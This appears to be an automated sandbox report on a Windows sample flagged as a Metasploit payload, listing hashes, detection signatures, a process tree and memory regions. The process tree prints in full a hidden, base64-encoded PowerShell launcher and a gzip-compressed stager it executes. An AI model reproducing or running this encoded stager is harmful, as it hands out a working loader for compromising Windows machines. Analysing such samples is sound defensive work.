Analysis
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max time kernel
65s -
max time network
66s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
01-05-2024 20:05
Static task
static1
Behavioral task
behavioral1
Sample
childdcscript.txt
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
childdcscript.txt
Resource
win10v2004-20240419-en
General
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Target
childdcscript.txt
-
Size
5KB
-
MD5
9dcd8c31fcc65e9e14bd72531472c733
-
SHA1
970d196acc1a24171a6d1942dd1da284feae199c
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SHA256
7edf5852e1c1d236e60bb14aea151f44413c0a3cc7da903345ca39dc0222066c
-
SHA512
46317ddc7dfe9e71ca31fc6125119cfe212e48925469e8a18e09fe10188a85b5baa5b3f692e6a2ce32319e69f010021ab91cf24ab78b1e6cce7b7d417146ada1
-
SSDEEP
96:nnn2hhFPxohwFWujnZ+vFB9j+FbRGlts7QWRPtcN6yJ6HZYF+1f1mpoMu4lnWIN/:nn2hhFPxohwFWujQv5yqqQWRFcPJhFG2
Malware Config
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
NOTEPAD.EXEpid process 1116 NOTEPAD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 760 powershell.exe 760 powershell.exe 760 powershell.exe 3184 powershell.exe 3184 powershell.exe 3184 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 760 powershell.exe Token: SeDebugPrivilege 3184 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 4772 wrote to memory of 760 4772 cmd.exe powershell.exe PID 4772 wrote to memory of 760 4772 cmd.exe powershell.exe PID 760 wrote to memory of 3184 760 powershell.exe powershell.exe PID 760 wrote to memory of 3184 760 powershell.exe powershell.exe PID 760 wrote to memory of 3184 760 powershell.exe powershell.exe
Processes
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C:\Windows\system32\NOTEPAD.EXEC:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\childdcscript.txt1⤵
- Opens file in notepad (likely ransom note)
PID:1116
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -nop -w hidden -noni -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AbgBpACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEATQBvAE0AdQBWAHcAQwBBADcAVgBXAGEAVwAvAGIATwBCAEQAOQBuAEEARAA1AEQAMABKAGgAUQBCAEsAcQArAEUAagBjAGQAaABzAGcAdwBGAEkAKwA1AFYAaQBKAEgAYwBWAFgAdgBNAGEAQwBrAFMAaQBaAE4AaQBVADYARgBCAFUAZgAzAGYANwAzAEgAZABsAFMAawBxAEwAcABiAHIAdgBBAEMAagBaAE0AawBYAE8AKwBlAFoAeQB4AG4AMABTAHUAcABEAHgAUwBmAE0AZABUAHYAcAB3AGMASAAvAFcAdwB3AEsARwBpAEYAYgBiAFUAcwB3AHkAbABJAEYAaAB5AHAAeAA4AGQAdwBVAEYAaABZAFkANgBYAFoAZQBWAFMAMABhAFoAbwB0AGEAcgB6AEUATgBOAG8AZABuAEYAUgBTADQAUQBnAGsAVAB5ADgARgAxAHQARQBvAGoAZwBtADQAUQBPAGoASgBOAFoAMAA1AFMAOQBsAE4AQwBlAEMAbgBOADQAOABMAEkAZwByAGwAUwA5AEsANABjADkAaQBpAC8ARQBIAHoARABLAHgAYgBRADIANwBjADYASwBjAG8AcwBoAEwAegA3AHIAYwB4AFcAawA0AFIAVwBmAEYAcQBOAFQAVQBQAC8ANQBRADkAZQBsAHAAWgBWAFoAcwBQAEMAYQBZAHgAWgByAHEAYgBHAE4ASgB3AHEATABIAG0ASwBvAHIAWAAvAFgAVQA0AGQAMQAyAFIAVABUAFYAcABxADcAZwBNAGYAZABsAGMAVQBTAGoAOAA3AFAAaQBJAEkAcQB4AFQANgA3AEIAMgBoAE8AeABpAFoAeAB6AEwAMQBaADEAUwBBAE0AKwBnAHMAaABFAFIATQBvAGgAbwBkAFQAQwA0AFYAeABUAFkAZABrAFQAMwBFAFcAZQBKADAAZwBjAHEANABZAHkAVABXADEAUABaADcAUABmAHQAVwBuAG0AKwBEAGEASgBKAEEAMQBKADAAWQBvAGsARQBYAHoAbABFAFAARgBFAFgAUgBJAFgAMgB6AGoAeQBHAEwAawBsAC8AZwB5ADAASABDAGwAbwBGAE0AeAAwAEgAYwBTAGUAKwBKAEoAbwBoAFMAaABoAHoARgBCACsAeABZAHgAMgBUAGQAWQA1AGIARAArAHIAcABMADEAVwBBAHEAbQBlAEYATABvAEIAdABYAHcAcgBVAFoAdAA3AEMAUwBNAEgAVgBmAFcATgBTAFAAYwBFADAATwBIAEoAUwBRAEQAZwBmAFQAMAA1AFAAagBuADIAYwA4AGEARQA5AEcAegA3AG0AagBLAHcATwBwAHIAdQAxAHcAVABpADAAMwBvADgAcABuAHUANQBTADYAVgBzAEsARABZADQAdwBwAEsATABMAGIAdwBXADcAawBSAEMAOQBOAGsAegB1AHUAQQBBAEcAVAAvAFcAcgB1AFMAaQBJAEoAaABVAEoATwB4AE0AaAA1AHgANgBNADkARABJAEMAbABwAHcAbgAzADYATABQADYAYwBIAFAAMgBaAG0AbgBmAGcAMABJAHYAVgB0AGgARQBQAHEANQB1AFQAVAAzAGsASwBaACsASQB6AHMATQB5AHoAbQBZAHQAYwBRAGwASwBaAG0AQgA4AFMAcgBFADAAWQBDAEwARgBQAFkAMABtAEoALwBwADkAWQBJAHEAWAB6AFcATgBSAFAASwBQAEMASwBRAEMANQBXAEsASQBTAG8AbwBvAHYANQB0AE0ASQBkAEsAYQBLAG8AVgAyAFMAUQBFAGgAQQA3AHYAdwBMADYAQwBEADUAUQBuAHUAWABSAEcAOAAyADMAdQBQAFgAMABIAEkAYgBYAEcAYwBCAHcAYgBTAGkAKwBCAE8AKwBjAGEAaQBrAE0AdwBJADUANgBoAG8AQwBpAG0AMgBSAEYASwBKAE4AOAB2ADEAWgBkAHcANwBZAFIASgA2AHUASgBZADUAdQBaAG0AKwBqAE8AUQBtAGMATQBhAGoAMgBJAHAARQBoAGUAcQBCAHMAbgBmAE8AUwB2AGkAVQBzAHgAUwBMAEEAeQBsAFQAVAAxAGkAYgBoADAAYQA1AEkANwBWAE4ANQBHAG8AWQBjAGIAZwBKAG8AQwBsAEoANgBnAEUANwBLAFEASQBPAEQATABsAGcAdgBCAFMAWQBpAEcAOQA2AEIAQgBwAGgAUwB0AEcAUQBwAEQAWQAzAC8AMABtAHcAdwBIAGMAOQBJAHoAdABlACsAcgBnAGcASABqAHEAZAB3AEgAbQBiAEQANQBRAE4AOABVAGkAQgArAEYAVgBlAEYAQgBnAGgAMwBGAHAASwBFAE0AcQBKAFAAUwBRAEYARgBkAGcAMABYADkAeAAvAHEAcAAxAEgATQBLAG8AQwBaAEkAVgBRAHMAdAB2AHgAOQBUAGMAeQBwAFQAVABoAGYAbQBtADIAcgB0AE8ASwBaAG0AaABzAHMAZABBAFMATQBpAC8ASwBYAGgAbwA0AHAAaAA4AHIAQgA3ADYAaABQAGEAdQBkAEUATgByAEMASgA2AEoARgBUAEgAYgBOAFoAZQAwAGcAdABhADAAWQB0AG4AdwBIAGQAQgB6AGkAOQBjAC8AZQBWAGUAZABSAGIAcwBrADYAcAB1ADUAagA2AHoAWQBzAHQAdQA5AGUAcgAvAGQAcgBqADUAMQBuAEcARgBWAE8AZwAxAEwAWAB2AFUAcwBhAFQAZgBHAGkANABXAEQAMgByAGUARABpAGIAeQAzAFUAUAB1AE8AbABwAGUAVAA2AG0ANwBWAG8AVAB1AG4AaQA3AHoASgBwAHYAUgB4AFoAKwA3AFcAWgBYAE8AegBXAHcAUwBlAFAANgBuADcAZgB2AEQASgBkADIANAByAEgANQBxADAATwA2AHIAMQB6AGYASQBaADcAdABZAGIAUwBYAGQAawByAHMAMQB5AE4AVwA3AFEAZABiAHQAUABCAC8AMQBsAHAAeQBrAGYASgBrAE8ARwBCADMANABwAEcARgBjACsAWQA3AHIAcABpAHMAVwB3AHcAdQAyAGQAaABWAEIAcgBmAHUANwB1AE8AdgA2AHcATgBiAGUAOQA3AGEAUgBOAHkAYQBKAFUANwB0AEkAKwA2AGkATgAwADUAZAA0AE8AQgBxADEAZwBGAGIAUgBpAFYAUABvADgAZgBFAFMAagA0AE8AbwBlAFMAWQBhAFIAaABTAHcAeAA2AG4AeABnAFoAbgAvAFEATgBOAEcAZwBZAGYAYgB4AEQAZQArAGQAdgA2ACsAWABLAHYAZgBlAFkANgBOADUAUAA4AGEAZABrAEgAbQB0AGQAcQBrAHkARwBTAE0AUAA3AFUAcAAzAHcAYgB6AHkAcQBiAFYAWQBTADkAdwBaADcAVwAyADEAZQBHAFAASQBQAEkANQBrAFoASQAxAEwAcABTAEgAZAAzAFQALwAyAFcAdwBGAHEAQQBJADcARABrAEMAUABjAHAATQB2AEIAKwB6AEgAWQB1ADcANwBEAGcAVABrAGEAVgBGADUAawBrAFcAdQB2AE4AdABFADQAVwBhADgAdgBMADkAKwBsAGwAWQBYAFMARgBxAEoAbQByAC8AZgB4AFYAYwBGACsAMQBHADEAdABMAE8ASQA1AFoAbABCAEkANgBLAEwANQA3AFcAbAB5ADAAYwB6ADYAWQBvAC8AVABWAEUAUABUADAAbwBtADYASgBDAEkAaQBEAE0AWQBSAEQASwB5AGMAZwBZAGcAeAA3AHEAWgA5AGUAZAA5AEEAWQBTAFkAYwBPAG4AVQA2AE8AQQBhAHcAUABEADkANwBjADYAVQByAHoANABMADYAUwA3AHYATwB0AHkANAB1ADcAaQBGAEkASQBQAFcAZQBkAHMAVQB1AGkAUQBJADUATgA4AHEAYgA4ADMASQBaAG0AbQA5ADUAVQB5ADEARABtAGoAKwBmAFcAWQAyAHYAdAB0AHIAQgBsAHAARgAyADcAdwBNADQAegArAGIAWgAzAHIAeQBlADgAcgAzAGcAeABlAFgALwBGAGIAVABzAGoAcwAzAGgAeAAvAHMAMwAwAEYANwAyAC8AdQBIADAAcAA0AEEAcwBHADEAbgBLADMAKwAxAC8AdQAvAEYATABxAFAANQBxADYAaQBOAE0ASgBRAGcANgAwAEMATQBZAE8AUQB5AHAAdAB4AEgASQBHAFAASgBxAGkAawBOAFYAbwBQAHAAKwA5AHEAVAAvAHcAMgA0AFMAZQBYAG8ATgBzAC8AMwBrACsARwArAHYAOABWADMASgA4AHcAawBBAEEAQQA9AD0AJwAnACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAMoMuVwCA7VWaW/bOBD9nAD5D0JhQBKq+EjcdhsgwFI+5ViJHcVXvMaCkSiZNiU6FBUf3f73HdlSkqLpbrvACjZMkXO+eZyxn0SupDxSfMdTvpwcH/WwwKGiFbbUswylIFhypx8dwUFhYY6XZeVS0aZotarzENNodnFRS4QgkTy8F1tEojgm4QOjJNZ05S9lNCeCnN48LIgrlS9K4c9ii/EHzDKxbQ27c6KcoshLz7rcxWk4RWfFqNTUP/5Q9elpZVZsPCaYxZrqbGNJwqLHmKorX/XU4d12RTTVpq7gMfdlcUSj87PiIIqxT67B2hOxiZxzL1Z1SAM+gshERMohodTC4VxTYdkT3EWeJ0gcq4YyTW1PZ7PftWnm+DaJJA1J0YokEXzlEPFEXRIX2zjyGLkl/gy0HCloFMx0HcSe+JJohShhzFB+xYx2TdY5bD+rpL1WAqmeFLoBtXwrUZt7CSMHVfWNSPcE0OHJSQDgfT05Pjn2c8aE9Gz7mjKwOpru1wTi03o8pnu5S6VsKDY4wpKLLbwW7kRC9NkzuuAAGT/WruSiIJhUJOxMh5x6M9DIClpwn36LP6cHP2Zmnfg0IvVthEPq5uTT3kKZ+IzsMyzmYtcQlKZmB8SrE0YCLFPY0mJ/p9YIqXzWNRPKPCKQC5WKISooov5tMIdKaKoV2SQEhA7vwL6CD5QnuXRG823uPX0HIbXGcBwbSi+BO+caikMwI56hoCim2RFKJN8v1Zdw7YRJ6uJY5uZm+jOQmcMaj2IpEheqBsnfOSviUsxSLAylTT1ibh0a5I7VN5GoYcbgJoClJ6gE7KQIODLlgvBSYiG96BBphStGQpDY3/0mwwHc9Izte+rggHjqdwHmbD5QN8UiB+FVeFBgh3FpKEMqJPSQFFdg0X9x/qp1HMKoCZIVQstvx9TcypTThfmm2rtOKZmhssdASMi/KXho4ph8rB76hPaudENrCJ6JFTHbNZe0gta0YtnwHdBzi9c/eVedRbsk6pu5j6zYstu9er/drj51nGFVOg1LXvUsaTfGi4WD2reDiby3UPuOlpeT6m7VoTuni7zJpvRxZ+7WZXOzWwSeP6n7fvDJd24rH5q0O6r1zfIZ7tYbSXdkrs1yNW7QdbtPB/1lpykfJkOGB34pGFc+Y7rpisWwwu2dhVBrfu7uOv6wNbe97aRNyaJU7tI+6iN05d4OBq1gFbRiVPo8fESj4OoeSYaRhSwx6nxgZn/QNNGgYfbxDe+dv6+XKvfeY6N5P8adkHmtdqkyGSMP7Up3wbzyqbVYS9wZ7W21eGPIPI5kZI1LpSHd3T/2WwFqAI7DkCPcpMvB+zHYu77DgTkaVF5kkWuvNtE4Wa8vL9+llYXSFqJmr/fxVcF+1G1tLOI5ZlBI6KL57Wly0cz6Yo/TVEPT0om6JCIiDMYRDKycgYgx7qZ9ed9AYSYcOnU6OAawPD97c6Urz4L6S7vOty4u7iFIIPWedsUuiQI5N8qb83IZmm95Uy1Dmj+fWY2vttrBlpF27wM4z+bZ3rye8r3gxeX/FbTsjs3hx/s30F72/uH0p4AsG1nK3+1/u/FLqP5q6iNMJQg60CMYOQyptxHIGPJqikNVoPp+9qT/w24SeXoNs/3k+G+v8V3J8wkAAA=='))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3184
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD53db5a3b556b01c59c5812cb86abb674e
SHA13848e5419d5c47879f159247e4f1b08005674cf0
SHA256218d487f881ce9640acd16f7476b445471b83671569e99973f77d0bbf6c42ffa
SHA5123eb6575d3e476053a65b2631b0cd0d584056ca476058ee2706c69fe10b0502460c40f8985f1f4666e42fba2809924f6dc34ba2e9b2629217542e45cb3640adcd
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3kgk5tzi.kgk.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/760-12-0x00007FFEC2D20000-0x00007FFEC37E1000-memory.dmpFilesize
10.8MB
-
memory/760-1-0x00000280D06C0000-0x00000280D06E2000-memory.dmpFilesize
136KB
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memory/760-0-0x00007FFEC2D23000-0x00007FFEC2D25000-memory.dmpFilesize
8KB
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memory/760-15-0x00007FFEC2D20000-0x00007FFEC37E1000-memory.dmpFilesize
10.8MB
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memory/760-11-0x00007FFEC2D20000-0x00007FFEC37E1000-memory.dmpFilesize
10.8MB
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memory/3184-16-0x0000000002AE0000-0x0000000002B16000-memory.dmpFilesize
216KB
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memory/3184-18-0x0000000005570000-0x0000000005592000-memory.dmpFilesize
136KB
-
memory/3184-20-0x0000000005DD0000-0x0000000005E36000-memory.dmpFilesize
408KB
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memory/3184-19-0x0000000005D60000-0x0000000005DC6000-memory.dmpFilesize
408KB
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memory/3184-26-0x0000000005E40000-0x0000000006194000-memory.dmpFilesize
3.3MB
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memory/3184-17-0x00000000055C0000-0x0000000005BE8000-memory.dmpFilesize
6.2MB
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memory/3184-32-0x0000000006420000-0x000000000643E000-memory.dmpFilesize
120KB
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memory/3184-33-0x0000000006450000-0x000000000649C000-memory.dmpFilesize
304KB
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memory/3184-34-0x0000000007D50000-0x00000000083CA000-memory.dmpFilesize
6.5MB
-
memory/3184-35-0x0000000006910000-0x000000000692A000-memory.dmpFilesize
104KB
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memory/3184-36-0x0000000006A10000-0x0000000006A11000-memory.dmpFilesize
4KB